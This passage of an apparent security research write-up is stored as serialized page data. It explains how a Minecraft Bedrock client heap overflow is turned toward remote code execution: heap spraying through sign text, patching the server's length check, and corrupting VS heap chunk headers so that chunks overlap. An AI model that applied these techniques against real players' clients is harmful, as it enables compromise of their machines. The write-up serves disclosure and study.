remove_wall",{"type":25,"tag":201,"props":152452,"children":152453},{"style":220},[152454],{"type":31,"value":223},{"type":25,"tag":201,"props":152456,"children":152457},{"class":203,"line":801},[152458,152462,152466],{"type":25,"tag":201,"props":152459,"children":152460},{"style":246},[152461],{"type":31,"value":151939},{"type":25,"tag":201,"props":152463,"children":152464},{"style":261},[152465],{"type":31,"value":413},{"type":25,"tag":201,"props":152467,"children":152468},{"style":220},[152469],{"type":31,"value":151948},{"type":25,"tag":201,"props":152471,"children":152472},{"class":203,"line":809},[152473],{"type":25,"tag":201,"props":152474,"children":152475},{"style":220},[152476],{"type":31,"value":62866},{"type":25,"tag":201,"props":152478,"children":152479},{"class":203,"line":857},[152480,152484,152488,152492,152496,152500,152504,152508,152512,152516,152520,152524,152528,152532],{"type":25,"tag":201,"props":152481,"children":152482},{"style":230},[152483],{"type":31,"value":4539},{"type":25,"tag":201,"props":152485,"children":152486},{"style":220},[152487],{"type":31,"value":238},{"type":25,"tag":201,"props":152489,"children":152490},{"style":208},[152491],{"type":31,"value":13289},{"type":25,"tag":201,"props":152493,"children":152494},{"style":246},[152495],{"type":31,"value":151975},{"type":25,"tag":201,"props":152497,"children":152498},{"style":261},[152499],{"type":31,"value":413},{"type":25,"tag":201,"props":152501,"children":152502},{"style":426},[152503],{"type":31,"value":4554},{"type":25,"tag":201,"props":152505,"children":152506},{"style":220},[152507],{"type":31,"value":18723},{"type":25,"tag":201,"props":152509,"children":152510},{"style":246},[152511],{"type":31,"value":151992},{"type":25,"tag":201,"props":152513,"children":152514},{"style":261},[152515],{"type":31,"value":3208},{"type":25,"tag":201,"props":152517,"children":152518},{"style":246},[152519],{"type":31,"value":152001},{"type":25,"tag":201,"props":152521,"children":152522},{"style":220},[152523],{"type":31,"value":18723},{"type":25,"tag":201,"props":152525,"children":152526},{"style":246},[152527],{"type":31,"value":151992},{"type":25,"tag":201,"props":152529,"children":152530},{"style":261},[152531],{"type":31,"value":52347},{"type":25,"tag":201,"props":152533,"children":152534},{"style":220},[152535],{"type":31,"value":275},{"type":25,"tag":201,"props":152537,"children":152538},{"class":203,"line":865},[152539,152543,152547,152551,152555,152559,152563,152567,152571,152575,152579,152583,152587,152591],{"type":25,"tag":201,"props":152540,"children":152541},{"style":230},[152542],{"type":31,"value":61656},{"type":25,"tag":201,"props":152544,"children":152545},{"style":220},[152546],{"type":31,"value":238},{"type":25,"tag":201,"props":152548,"children":152549},{"style":208},[152550],{"type":31,"value":13289},{"type":25,"tag":201,"props":152552,"children":152553},{"style":246},[152554],{"type":31,"value":152037},{"type":25,"tag":201,"props":152556,"children":152557},{"style":261},[152558],{"type":31,"value":413},{"type":25,"tag":201,"props":152560,"children":152561},{"style":426},[152562],{"type":31,"value":4554},{"type":25,"tag":201,"props":152564,"children":152565},{"style":220},[152566],{"type":31,"value":18723},{"type":25,"tag":201,"props":152568,"children":152569},{"style":246},[152570],{"type":31,"value":152054},{"type":25,"tag":201,"props":152572,"children":152573},{"style":261},[152574],{"type":31,"value":3208},{"type":25,"tag":201,"props":152576,"children":152577},{"style":246},[152578],{"type":31,"value":152063},{"type":25,"tag":201,"props":152580,"children":152581},{"style":220},[152582],{"type":31,"value":18723},{"type":25,"tag":201,"props":152584,"children":152585},{"style":246},[152586],{"type":31,"value":152054},{"type":25,"tag":201,"props":152588,"children":152589},{"style":261},[152590],{"type":31,"value":52347},{"type":25,"tag":201,"props":152592,"children":152593},{"style":220},[152594],{"type":31,"value":275},{"type":25,"tag":201,"props":152596,"children":152597},{"class":203,"line":931},[152598],{"type":25,"tag":201,"props":152599,"children":152600},{"style":220},[152601],{"type":31,"value":152110},{"type":25,"tag":201,"props":152603,"children":152604},{"class":203,"line":939},[152605,152609,152613],{"type":25,"tag":201,"props":152606,"children":152607},{"style":220},[152608],{"type":31,"value":152094},{"type":25,"tag":201,"props":152610,"children":152611},{"style":261},[152612],{"type":31,"value":11095},{"type":25,"tag":201,"props":152614,"children":152615},{"style":220},[152616],{"type":31,"value":13274},{"type":25,"tag":201,"props":152618,"children":152619},{"class":203,"line":960},[152620],{"type":25,"tag":201,"props":152621,"children":152622},{"style":220},[152623],{"type":31,"value":152624},"             \n",{"type":25,"tag":201,"props":152626,"children":152627},{"class":203,"line":977},[152628,152632,152636,152640,152644,152649],{"type":25,"tag":201,"props":152629,"children":152630},{"style":208},[152631],{"type":31,"value":152118},{"type":25,"tag":201,"props":152633,"children":152634},{"style":246},[152635],{"type":31,"value":152123},{"type":25,"tag":201,"props":152637,"children":152638},{"style":261},[152639],{"type":31,"value":413},{"type":25,"tag":201,"props":152641,"children":152642},{"style":230},[152643],{"type":31,"value":37281},{"type":25,"tag":201,"props":152645,"children":152646},{"style":214},[152647],{"type":31,"value":152648}," wait_for_block",{"type":25,"tag":201,"props":152650,"children":152651},{"style":220},[152652],{"type":31,"value":4970},{"type":25,"tag":201,"props":152654,"children":152655},{"class":203,"line":994},[152656,152661,152665,152669,152673,152677],{"type":25,"tag":201,"props":152657,"children":152658},{"style":246},[152659],{"type":31,"value":152660},"                world",{"type":25,"tag":201,"props":152662,"children":152663},{"style":220},[152664],{"type":31,"value":80},{"type":25,"tag":201,"props":152666,"children":152667},{"style":214},[152668],{"type":31,"value":152145},{"type":25,"tag":201,"props":152670,"children":152671},{"style":220},[152672],{"type":31,"value":298},{"type":25,"tag":201,"props":152674,"children":152675},{"style":267},[152676],{"type":31,"value":152154},{"type":25,"tag":201,"props":152678,"children":152679},{"style":220},[152680],{"type":31,"value":8245},{"type":25,"tag":201,"props":152682,"children":152683},{"class":203,"line":1016},[152684],{"type":25,"tag":201,"props":152685,"children":152686},{"style":246},[152687],{"type":31,"value":152688},"                sign_location\n",{"type":25,"tag":201,"props":152690,"children":152691},{"class":203,"line":1089},[152692],{"type":25,"tag":201,"props":152693,"children":152694},{"style":220},[152695],{"type":31,"value":126198},{"type":25,"tag":201,"props":152697,"children":152698},{"class":203,"line":1107},[152699,152703,152707,152711],{"type":25,"tag":201,"props":152700,"children":152701},{"style":246},[152702],{"type":31,"value":152191},{"type":25,"tag":201,"props":152704,"children":152705},{"style":220},[152706],{"type":31,"value":80},{"type":25,"tag":201,"props":152708,"children":152709},{"style":214},[152710],{"type":31,"value":151798},{"type":25,"tag":201,"props":152712,"children":152713},{"style":220},[152714],{"type":31,"value":4970},{"type":25,"tag":201,"props":152716,"children":152717},{"class":203,"line":1116},[152718,152722,152726,152730,152734,152738],{"type":25,"tag":201,"props":152719,"children":152720},{"style":246},[152721],{"type":31,"value":152211},{"type":25,"tag":201,"props":152723,"children":152724},{"style":220},[152725],{"type":31,"value":80},{"type":25,"tag":201,"props":152727,"children":152728},{"style":214},[152729],{"type":31,"value":151819},{"type":25,"tag":201,"props":152731,"children":152732},{"style":220},[152733],{"type":31,"value":298},{"type":25,"tag":201,"props":152735,"children":152736},{"style":267},[152737],{"type":31,"value":151828},{"type":25,"tag":201,"props":152739,"children":152740},{"style":220},[152741],{"type":31,"value":4666},{"type":25,"tag":201,"props":152743,"children":152744},{"class":203,"line":1124},[152745],{"type":25,"tag":201,"props":152746,"children":152747},{"style":220},[152748],{"type":31,"value":126198},{"type":25,"tag":201,"props":152750,"children":152751},{"class":203,"line":1163},[152752],{"type":25,"tag":201,"props":152753,"children":152754},{"emptyLinePlaceholder":17},[152755],{"type":31,"value":496},{"type":25,"tag":201,"props":152757,"children":152758},{"class":203,"line":1172},[152759,152763,152767],{"type":25,"tag":201,"props":152760,"children":152761},{"style":220},[152762],{"type":31,"value":152094},{"type":25,"tag":201,"props":152764,"children":152765},{"style":261},[152766],{"type":31,"value":11095},{"type":25,"tag":201,"props":152768,"children":152769},{"style":220},[152770],{"type":31,"value":13274},{"type":25,"tag":201,"props":152772,"children":152773},{"class":203,"line":1181},[152774],{"type":25,"tag":201,"props":152775,"children":152776},{"style":220},[152777],{"type":31,"value":4853},{"type":25,"tag":201,"props":152779,"children":152780},{"class":203,"line":1190},[152781],{"type":25,"tag":201,"props":152782,"children":152783},{"style":220},[152784],{"type":31,"value":4861},{"type":25,"tag":201,"props":152786,"children":152787},{"class":203,"line":1198},[152788],{"type":25,"tag":201,"props":152789,"children":152790},{"style":220},[152791],{"type":31,"value":1187},{"type":25,"tag":201,"props":152793,"children":152794},{"class":203,"line":1220},[152795],{"type":25,"tag":201,"props":152796,"children":152797},{"emptyLinePlaceholder":17},[152798],{"type":31,"value":496},{"type":25,"tag":201,"props":152800,"children":152801},{"class":203,"line":82035},[152802,152807,152811,152816,152820,152825,152829,152834,152838,152843,152847,152851],{"type":25,"tag":201,"props":152803,"children":152804},{"style":246},[152805],{"type":31,"value":152806},"world",{"type":25,"tag":201,"props":152808,"children":152809},{"style":220},[152810],{"type":31,"value":80},{"type":25,"tag":201,"props":152812,"children":152813},{"style":246},[152814],{"type":31,"value":152815},"afterEvents",{"type":25,"tag":201,"props":152817,"children":152818},{"style":220},[152819],{"type":31,"value":80},{"type":25,"tag":201,"props":152821,"children":152822},{"style":246},[152823],{"type":31,"value":152824},"playerSpawn",{"type":25,"tag":201,"props":152826,"children":152827},{"style":220},[152828],{"type":31,"value":80},{"type":25,"tag":201,"props":152830,"children":152831},{"style":214},[152832],{"type":31,"value":152833},"subscribe",{"type":25,"tag":201,"props":152835,"children":152836},{"style":220},[152837],{"type":31,"value":375},{"type":25,"tag":201,"props":152839,"children":152840},{"style":246},[152841],{"type":31,"value":152842},"arg",{"type":25,"tag":201,"props":152844,"children":152845},{"style":220},[152846],{"type":31,"value":385},{"type":25,"tag":201,"props":152848,"children":152849},{"style":208},[152850],{"type":31,"value":390},{"type":25,"tag":201,"props":152852,"children":152853},{"style":220},[152854],{"type":31,"value":327},{"type":25,"tag":201,"props":152856,"children":152857},{"class":203,"line":82048},[152858,152863],{"type":25,"tag":201,"props":152859,"children":152860},{"style":214},[152861],{"type":31,"value":152862},"    create_wall",{"type":25,"tag":201,"props":152864,"children":152865},{"style":220},[152866],{"type":31,"value":1985},{"type":25,"tag":201,"props":152868,"children":152869},{"class":203,"line":82056},[152870],{"type":25,"tag":201,"props":152871,"children":152872},{"style":220},[152873],{"type":31,"value":4286},{"type":25,"tag":201,"props":152875,"children":152876},{"class":203,"line":82064},[152877],{"type":25,"tag":201,"props":152878,"children":152879},{"emptyLinePlaceholder":17},[152880],{"type":31,"value":496},{"type":25,"tag":201,"props":152882,"children":152883},{"class":203,"line":82072},[152884,152888,152892,152897,152901,152906,152910,152914,152918,152922,152926,152930,152934,152938],{"type":25,"tag":201,"props":152885,"children":152886},{"style":246},[152887],{"type":31,"value":152806},{"type":25,"tag":201,"props":152889,"children":152890},{"style":220},[152891],{"type":31,"value":80},{"type":25,"tag":201,"props":152893,"children":152894},{"style":246},[152895],{"type":31,"value":152896},"beforeEvents",{"type":25,"tag":201,"props":152898,"children":152899},{"style":220},[152900],{"type":31,"value":80},{"type":25,"tag":201,"props":152902,"children":152903},{"style":246},[152904],{"type":31,"value":152905},"playerLeave",{"type":25,"tag":201,"props":152907,"children":152908},{"style":220},[152909],{"type":31,"value":80},{"type":25,"tag":201,"props":152911,"children":152912},{"style":214},[152913],{"type":31,"value":152833},{"type":25,"tag":201,"props":152915,"children":152916},{"style":220},[152917],{"type":31,"value":298},{"type":25,"tag":201,"props":152919,"children":152920},{"style":208},[152921],{"type":31,"value":37215},{"type":25,"tag":201,"props":152923,"children":152924},{"style":220},[152925],{"type":31,"value":238},{"type":25,"tag":201,"props":152927,"children":152928},{"style":246},[152929],{"type":31,"value":152842},{"type":25,"tag":201,"props":152931,"children":152932},{"style":220},[152933],{"type":31,"value":385},{"type":25,"tag":201,"props":152935,"children":152936},{"style":208},[152937],{"type":31,"value":390},{"type":25,"tag":201,"props":152939,"children":152940},{"style":220},[152941],{"type":31,"value":327},{"type":25,"tag":201,"props":152943,"children":152944},{"class":203,"line":82112},[152945,152950],{"type":25,"tag":201,"props":152946,"children":152947},{"style":214},[152948],{"type":31,"value":152949},"    remove_wall",{"type":25,"tag":201,"props":152951,"children":152952},{"style":220},[152953],{"type":31,"value":1985},{"type":25,"tag":201,"props":152955,"children":152956},{"class":203,"line":82120},[152957],{"type":25,"tag":201,"props":152958,"children":152959},{"style":220},[152960],{"type":31,"value":4286},{"type":25,"tag":34,"props":152962,"children":152963},{},[152964],{"type":31,"value":152965},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":25,"tag":34,"props":152967,"children":152968},{},[152969],{"type":25,"tag":127,"props":152970,"children":152973},{"alt":152971,"src":152972},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":25,"tag":34,"props":152975,"children":152976},{},[152977],{"type":31,"value":152978},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":25,"tag":20392,"props":152980,"children":152982},{"id":152981},"a-small-roadblock",[152983],{"type":31,"value":152984},"A Small Roadblock",{"type":25,"tag":34,"props":152986,"children":152987},{},[152988],{"type":31,"value":152989},"While testing our heap spray method, we encountered the following error:",{"type":25,"tag":191,"props":152991,"children":152993},{"code":152992},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[152994],{"type":25,"tag":115,"props":152995,"children":152996},{"__ignoreMap":7},[152997],{"type":31,"value":152992},{"type":25,"tag":34,"props":152999,"children":153000},{},[153001,153003,153009],{"type":31,"value":153002},"An error is thrown by the server executable while trying to assign text longer than ",{"type":25,"tag":115,"props":153004,"children":153006},{"className":153005},[],[153007],{"type":31,"value":153008},"512",{"type":31,"value":153010}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":25,"tag":34,"props":153012,"children":153013},{},[153014],{"type":31,"value":153015},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":25,"tag":34,"props":153017,"children":153018},{},[153019],{"type":31,"value":153020},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":25,"tag":34,"props":153022,"children":153023},{},[153024],{"type":25,"tag":127,"props":153025,"children":153027},{"alt":51656,"src":153026},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":25,"tag":34,"props":153029,"children":153030},{},[153031,153033,153039],{"type":31,"value":153032},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":25,"tag":115,"props":153034,"children":153036},{"className":153035},[],[153037],{"type":31,"value":153038},"string_length \u003C= 512",{"type":31,"value":153040}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":25,"tag":34,"props":153042,"children":153043},{},[153044],{"type":31,"value":153045},"The disassembly of the comparison looks like this:",{"type":25,"tag":34,"props":153047,"children":153048},{},[153049],{"type":25,"tag":127,"props":153050,"children":153052},{"alt":51656,"src":153051},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":25,"tag":34,"props":153054,"children":153055},{},[153056,153058,153063,153065,153070,153071,153076,153078,153084,153086,153092,153094,153099,153101,153106],{"type":31,"value":153057},"The code compares ",{"type":25,"tag":115,"props":153059,"children":153061},{"className":153060},[],[153062],{"type":31,"value":57853},{"type":31,"value":153064}," (the string length) to ",{"type":25,"tag":115,"props":153066,"children":153068},{"className":153067},[],[153069],{"type":31,"value":128898},{"type":31,"value":238},{"type":25,"tag":115,"props":153072,"children":153074},{"className":153073},[],[153075],{"type":31,"value":153008},{"type":31,"value":153077}," decimal). It then performs a ",{"type":25,"tag":115,"props":153079,"children":153081},{"className":153080},[],[153082],{"type":31,"value":153083},"jbe",{"type":31,"value":153085},", jumping to address ",{"type":25,"tag":115,"props":153087,"children":153089},{"className":153088},[],[153090],{"type":31,"value":153091},"0x14275114c",{"type":31,"value":153093}," if ",{"type":25,"tag":115,"props":153095,"children":153097},{"className":153096},[],[153098],{"type":31,"value":57853},{"type":31,"value":153100}," is less than or equal to ",{"type":25,"tag":115,"props":153102,"children":153104},{"className":153103},[],[153105],{"type":31,"value":153008},{"type":31,"value":153107},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":25,"tag":34,"props":153109,"children":153110},{},[153111,153113,153118,153120,153126],{"type":31,"value":153112},"To force execution down this path, we patched the ",{"type":25,"tag":115,"props":153114,"children":153116},{"className":153115},[],[153117],{"type":31,"value":153083},{"type":31,"value":153119}," instruction to an unconditional ",{"type":25,"tag":115,"props":153121,"children":153123},{"className":153122},[],[153124],{"type":31,"value":153125},"jmp",{"type":31,"value":153127},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":25,"tag":34,"props":153129,"children":153130},{},[153131],{"type":25,"tag":127,"props":153132,"children":153134},{"alt":51656,"src":153133},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":25,"tag":34,"props":153136,"children":153137},{},[153138,153140,153145,153147,153152],{"type":31,"value":153139},"After patching the server and calling ",{"type":25,"tag":115,"props":153141,"children":153143},{"className":153142},[],[153144],{"type":31,"value":151249},{"type":31,"value":153146}," with a size of ",{"type":25,"tag":115,"props":153148,"children":153150},{"className":153149},[],[153151],{"type":31,"value":59227},{"type":31,"value":153153},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":25,"tag":34,"props":153155,"children":153156},{},[153157],{"type":25,"tag":127,"props":153158,"children":153160},{"alt":51656,"src":153159},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":25,"tag":20292,"props":153162,"children":153163},{},[],{"type":25,"tag":34,"props":153165,"children":153166},{},[153167],{"type":31,"value":153168},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":25,"tag":34,"props":153170,"children":153171},{},[153172],{"type":31,"value":153173},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":25,"tag":40,"props":153175,"children":153177},{"id":153176},"overlapping-heap-chunks",[153178],{"type":31,"value":153179},"Overlapping Heap Chunks",{"type":25,"tag":34,"props":153181,"children":153182},{},[153183,153185,153190],{"type":31,"value":153184},"The attack is described in detail in the referenced blog post (",{"type":25,"tag":71,"props":153186,"children":153188},{"href":150993,"rel":153187},[75],[153189],{"type":31,"value":48661},{"type":31,"value":153191},"), so we will present a high-level overview.",{"type":25,"tag":34,"props":153193,"children":153194},{},[153195,153197,153203],{"type":31,"value":153196},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":25,"tag":115,"props":153198,"children":153200},{"className":153199},[],[153201],{"type":31,"value":153202},"_HEAP_VS_CHUNK_HEADER",{"type":31,"value":153204}," structure layout is required:",{"type":25,"tag":191,"props":153206,"children":153208},{"code":153207},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[153209],{"type":25,"tag":115,"props":153210,"children":153211},{"__ignoreMap":7},[153212],{"type":31,"value":153207},{"type":25,"tag":34,"props":153214,"children":153215},{},[153216,153218,153224,153226,153232,153233,153239,153240,153246,153248,153253,153255,153260,153262,153268,153270,153275,153277,153283],{"type":31,"value":153217},"At offset 0 there is a header ",{"type":25,"tag":115,"props":153219,"children":153221},{"className":153220},[],[153222],{"type":31,"value":153223},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":31,"value":153225}," containing fields such as ",{"type":25,"tag":115,"props":153227,"children":153229},{"className":153228},[],[153230],{"type":31,"value":153231},"MemoryCost",{"type":31,"value":919},{"type":25,"tag":115,"props":153234,"children":153236},{"className":153235},[],[153237],{"type":31,"value":153238},"UnsafeSize",{"type":31,"value":919},{"type":25,"tag":115,"props":153241,"children":153243},{"className":153242},[],[153244],{"type":31,"value":153245},"UnsafePrevSize",{"type":31,"value":153247},", etc. For the attack we only care about the ",{"type":25,"tag":115,"props":153249,"children":153251},{"className":153250},[],[153252],{"type":31,"value":153238},{"type":31,"value":153254}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":25,"tag":115,"props":153256,"children":153258},{"className":153257},[],[153259],{"type":31,"value":127521},{"type":31,"value":153261},", so for a chunk of size ",{"type":25,"tag":115,"props":153263,"children":153265},{"className":153264},[],[153266],{"type":31,"value":153267},"0x4010",{"type":31,"value":153269}," the value of ",{"type":25,"tag":115,"props":153271,"children":153273},{"className":153272},[],[153274],{"type":31,"value":153238},{"type":31,"value":153276}," would be ",{"type":25,"tag":115,"props":153278,"children":153280},{"className":153279},[],[153281],{"type":31,"value":153282},"0x401",{"type":31,"value":80},{"type":25,"tag":34,"props":153285,"children":153286},{},[153287,153288,153293],{"type":31,"value":65297},{"type":25,"tag":115,"props":153289,"children":153291},{"className":153290},[],[153292],{"type":31,"value":153238},{"type":31,"value":153294}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":25,"tag":34,"props":153296,"children":153297},{},[153298,153300,153305,153307,153312,153314,153320,153322,153327],{"type":31,"value":153299},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":25,"tag":115,"props":153301,"children":153303},{"className":153302},[],[153304],{"type":31,"value":153238},{"type":31,"value":153306}," in the smallest possible VS chunk (",{"type":25,"tag":115,"props":153308,"children":153310},{"className":153309},[],[153311],{"type":31,"value":153267},{"type":31,"value":153313},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":25,"tag":115,"props":153315,"children":153317},{"className":153316},[],[153318],{"type":31,"value":153319},"[0x10, 0xffff0]",{"type":31,"value":153321}," range, the probability that it exceeds ",{"type":25,"tag":115,"props":153323,"children":153325},{"className":153324},[],[153326],{"type":31,"value":153267},{"type":31,"value":153328}," is:",{"type":25,"tag":191,"props":153330,"children":153332},{"code":153331},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[153333],{"type":25,"tag":115,"props":153334,"children":153335},{"__ignoreMap":7},[153336],{"type":31,"value":153331},{"type":25,"tag":34,"props":153338,"children":153339},{},[153340],{"type":31,"value":153341},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":25,"tag":34,"props":153343,"children":153344},{},[153345],{"type":31,"value":153346},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":25,"tag":20392,"props":153348,"children":153350},{"id":153349},"overlap-attack-overview",[153351],{"type":31,"value":153352},"Overlap Attack Overview",{"type":25,"tag":34,"props":153354,"children":153355},{},[153356,153358,153363],{"type":31,"value":153357},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":25,"tag":115,"props":153359,"children":153361},{"className":153360},[],[153362],{"type":31,"value":127544},{"type":31,"value":153364}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":25,"tag":34,"props":153366,"children":153367},{},[153368,153370,153375,153377,153382],{"type":31,"value":153369},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":25,"tag":115,"props":153371,"children":153373},{"className":153372},[],[153374],{"type":31,"value":149252},{"type":31,"value":153376},"-sized chunks in the free list that we want to avoid. If a ",{"type":25,"tag":115,"props":153378,"children":153380},{"className":153379},[],[153381],{"type":31,"value":149252},{"type":31,"value":153383},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":25,"tag":34,"props":153385,"children":153386},{},[153387,153389,153394],{"type":31,"value":153388},"To remove those ",{"type":25,"tag":115,"props":153390,"children":153392},{"className":153391},[],[153393],{"type":31,"value":149252},{"type":31,"value":153395},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":25,"tag":34,"props":153397,"children":153398},{},[153399],{"type":31,"value":153400},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":25,"tag":191,"props":153402,"children":153404},{"code":153403},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[153405],{"type":25,"tag":115,"props":153406,"children":153407},{"__ignoreMap":7},[153408],{"type":31,"value":153403},{"type":25,"tag":34,"props":153410,"children":153411},{},[153412,153414,153419,153421,153426],{"type":31,"value":153413},"Next we create ",{"type":25,"tag":65,"props":153415,"children":153416},{},[153417],{"type":31,"value":153418},"holes",{"type":31,"value":153420}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":25,"tag":115,"props":153422,"children":153424},{"className":153423},[],[153425],{"type":31,"value":149252},{"type":31,"value":153427},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":25,"tag":191,"props":153429,"children":153431},{"code":153430},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[153432],{"type":25,"tag":115,"props":153433,"children":153434},{"__ignoreMap":7},[153435],{"type":31,"value":153430},{"type":25,"tag":34,"props":153437,"children":153438},{},[153439,153441,153446,153448,153453],{"type":31,"value":153440},"When a ",{"type":25,"tag":115,"props":153442,"children":153444},{"className":153443},[],[153445],{"type":31,"value":149252},{"type":31,"value":153447}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":25,"tag":115,"props":153449,"children":153451},{"className":153450},[],[153452],{"type":31,"value":153238},{"type":31,"value":153454}," field will be overwritten:",{"type":25,"tag":191,"props":153456,"children":153458},{"code":153457},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[153459],{"type":25,"tag":115,"props":153460,"children":153461},{"__ignoreMap":7},[153462],{"type":31,"value":153457},{"type":25,"tag":34,"props":153464,"children":153465},{},[153466,153468,153473,153475,153480,153482,153487],{"type":31,"value":153467},"Once ",{"type":25,"tag":115,"props":153469,"children":153471},{"className":153470},[],[153472],{"type":31,"value":153238},{"type":31,"value":153474}," has been overwritten, ",{"type":25,"tag":115,"props":153476,"children":153478},{"className":153477},[],[153479],{"type":31,"value":149252},{"type":31,"value":153481}," allocation is freed immediately after, restoring the previous layout but with ",{"type":25,"tag":115,"props":153483,"children":153485},{"className":153484},[],[153486],{"type":31,"value":153238},{"type":31,"value":153488}," field corrupted:",{"type":25,"tag":191,"props":153490,"children":153492},{"code":153491},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[153493],{"type":25,"tag":115,"props":153494,"children":153495},{"__ignoreMap":7},[153496],{"type":31,"value":153491},{"type":25,"tag":34,"props":153498,"children":153499},{},[153500],{"type":31,"value":153501},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":25,"tag":191,"props":153503,"children":153505},{"code":153504},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[153506],{"type":25,"tag":115,"props":153507,"children":153508},{"__ignoreMap":7},[153509],{"type":31,"value":153504},{"type":25,"tag":34,"props":153511,"children":153512},{},[153513],{"type":31,"value":153514},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":25,"tag":191,"props":153516,"children":153518},{"code":153517},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[153519],{"type":25,"tag":115,"props":153520,"children":153521},{"__ignoreMap":7},[153522],{"type":31,"value":153517},{"type":25,"tag":20292,"props":153524,"children":153525},{},[],{"type":25,"tag":34,"props":153527,"children":153528},{},[153529],{"type":31,"value":153530},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":25,"tag":34,"props":153532,"children":153533},{},[153534],{"type":31,"value":153535},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":25,"tag":40,"props":153537,"children":153539},{"id":153538},"molang",[153540],{"type":31,"value":153541},"Molang",{"type":25,"tag":34,"props":153543,"children":153544},{},[153545,153547,153554],{"type":31,"value":153546},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official 